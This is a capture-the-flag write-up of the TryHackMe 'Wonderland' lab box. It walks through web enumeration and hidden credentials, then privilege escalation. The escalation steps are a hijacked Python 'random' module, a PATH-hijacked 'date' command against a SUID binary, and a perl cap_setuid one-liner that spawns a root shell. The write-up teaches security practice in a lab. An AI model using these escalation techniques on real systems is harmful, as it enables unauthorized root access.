THM: Wonderland
Intro⌗
This Alice in TryHackMe Wonderland themed box is quite the rabbit hole. It starts with some basic web app enumeration, leading us to leaked credentials buried deep in a series of hidden directories. Once we get a foothold we’ll solve a series of path/code injection challenges with some light reversing to make a couple of horizontal jumps before finally getting a root shell.
I really enjoyed this box. The hints make it more like a puzzle than realistic hacking challenge, but the privesc was fun.
Recon⌗
sudo rustscan -a 10.10.66.24 -- -sC -sV -oA nmap1
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN
| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=
| 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh
80/tcp open http syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration⌗
Let’s start by taking a look at what’s hosted by the Golang HTTP service on port 80.
Judging by the content of this page, I suspect this is a very CTF-y box. We are given a hint to “Follow the White Rabbit.” Let’s download the image and inspect it with a stego tool to see if it contains any hidden data.
┌──(brian㉿kali)-[~/…/hacks/tryhackme/Wonderland/stego]
└─$ wget http://10.10.66.24/img/white_rabbit_1.jpg
--2021-08-26 21:44:07-- http://10.10.66.24/img/white_rabbit_1.jpg
Connecting to 10.10.66.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1993438 (1.9M) [image/jpeg]
Saving to: ‘white_rabbit_1.jpg’
white_rabbit_1.jpg 100%[====================================>] 1.90M 102KB/s in 20s
2021-08-26 21:44:27 (98.2 KB/s) - ‘white_rabbit_1.jpg’ saved [1993438/1993438]
┌──(brian㉿kali)-[~/…/hacks/tryhackme/Wonderland/stego]
└─$ stegseek -sf white_rabbit_1.jpg -xf white_rabbit_1.jpg.out
StegSeek version 0.5
Progress: 0.00% (0 bytes)
[i] --> Found passphrase: ""
[i] Original filename: "hint.txt"
[i] Extracting to "white_rabbit_1.jpg.out"
┌──(brian㉿kali)-[~/…/hacks/tryhackme/Wonderland/stego]
└─$ cat white_rabbit_1.jpg.out
follow the r a b b i t
Another hint to follow the rabbit. That’s great but doesn’t push us forward. We can fuzz for content next.
ffuf -t 80 -u http://10.10.66.24/FUZZ -w /usr/share/wordlists/directory-list-2.3-medium.txt -c
img [Status: 301, Size: 0, Words: 1, Lines: 1]
r [Status: 301, Size: 0, Words: 1, Lines: 1]
poem [Status: 301, Size: 0, Words: 1, Lines: 1]
/poem
is a dead end, but on /r
we get another hint: “Keep Going.” 🙃
If we repeat the scan but target the /r
directory this time, we quickly find an /a
directory. From here it’s easy to guess that we can follow the rabbit all the way to /r/a/b/b/i/t
.
Viewing the source of this page reveals a hidden paragraph containing credentials for Alice.
<!DOCTYPE html>
<head>
<title>Enter wonderland</title>
<link rel="stylesheet" type="text/css" href="/main.css" />
</head>
<body>
<h1>Open the door and enter wonderland</h1>
<p>"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."</p>
<p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"</p>
<p>
"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving the
other paw, "lives a March Hare. Visit either you like: they’re both mad."
</p>
<p style="display: none;">alice:REDACTED</p>
<img src="/img/alice_door.png" style="height: 50rem;" />
</body>
We haven’t found any kind of login page yet, so let’s see if we can get into SSH with these creds.
Initial Foothold⌗
With ssh alice@10.10.66.24
we can connect and authenticate with the password we found.
User Flag⌗
alice@wonderland:~$ ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice 220 May 25 2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25 2020 .bashrc
drwx------ 2 alice alice 4096 May 25 2020 .cache
drwx------ 3 alice alice 4096 May 25 2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25 2020 .local
-rw-r--r-- 1 alice alice 807 May 25 2020 .profile
-rw------- 1 root root 66 May 25 2020 root.txt
-rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
The root flag is in Alice’s home directory. 🤔
So maybe the user flag is in the root directory?
alice@wonderland:~$ ls -la /root/user.txt
-rw-r--r-- 1 root root 32 May 25 2020 /root/user.txt
alice@wonderland:~$ wc -c /root/user.txt
32 /root/user.txt
…and it is!
Privilege Escalation⌗
As usual a good place to start when attempting PrivEsc is to check if we have any sudo rights.
alice@wonderland:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
We can run the python script located in Alice’s home directory as the user rabbit
.
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
The line was:
The line was: To leave the oyster-bed.
The line was: All hopping through the frothy waves,
The line was:
The line was: And you are very nice!"
The line was: "To come and spoil the fun!"
The line was: Before his streaming eyes.
The line was: The Walrus did beseech.
The line was: After we’ve brought them out so far,
The line was: "But not on us!" the Oysters cried,
Upon inspecting the script we can see all it’s doing is printing 10 random lines from the poem. The first line of the script imports the random
module without an absolute path, so we can abuse this and create our own module with the same name that will get imported instead. Further down in the script we see it needs to have a choice()
function in order for our malicious code to be executed.
In Alice’s home directory, create a file named random.py
with the following code, and then execute the script again in order to spawn a shell as rabbit.
import os
def choice(s):
os.system("/bin/bash")
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
rabbit@wonderland:~$ cd /home/rabbit
rabbit@wonderland:/home/rabbit$ ls -la
total 40
drwxr-x--- 2 rabbit rabbit 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit 220 May 25 2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit 3771 May 25 2020 .bashrc
-rw-r--r-- 1 rabbit rabbit 807 May 25 2020 .profile
-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty
rabbit@wonderland:/home/rabbit$ file teaParty
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped
Now in rabbit’s home directoryh we find a SUID binary owned by root. Since this box doesn’t have strings
installed, let’s transfer the binary back to ourselves to inspect it further.
We already know python3
is installed so we can use it to spin up a temporary HTTP server by running python3 -m http.server 8080
. Then we can wget http://10.10.66.24:8080/teaParty
from our local machine to download it.
strings
shows us a vulnerability within this command that gets executed by the program:
/bin/echo -n 'Probably by ' && date --date='next hour' -R
Similar to how we abused a relative path reference in the python script before, we can do the same here with the date
command. But this time since the binary is owned by root and has the sticky bit set, we should be able to break out to a root shell!
Our new date
script only needs to start a new bash process. Save this in rabbit’s home directory:
#!/bin/bash
/bin/bash -p
-
Make it executable:
chmod +x ./date
-
Insert rabbit’s home directory at the top of the environment’s
PATH
:export PATH=/home/rabbit:$PATH
-
./teaParty
to run the program.
And now we have a shell as…hatter?
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
hatter@wonderland:/home/rabbit$
Hmm..it is owned by root, but if we inspect the binary with strace ./teaParty
to see what system calls it makes, we’ll see it actually sets the user ID on the process to 1003 which is hatter’s id.
Hatter doesn’t have any sudo privileges but if we check capabilities on the system, we’ll see that /usr/bin/perl
has the cap_setuid
capability, meaning it can change the UID of the running process.
That means we can run a perl one liner to switch to UID 0 (root) and spawn a new shell process, giving us a root shell!
hatter@wonderland:~$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
# whoami
root
# wc -c /home/alice/root.txt
66 /home/alice/root.txt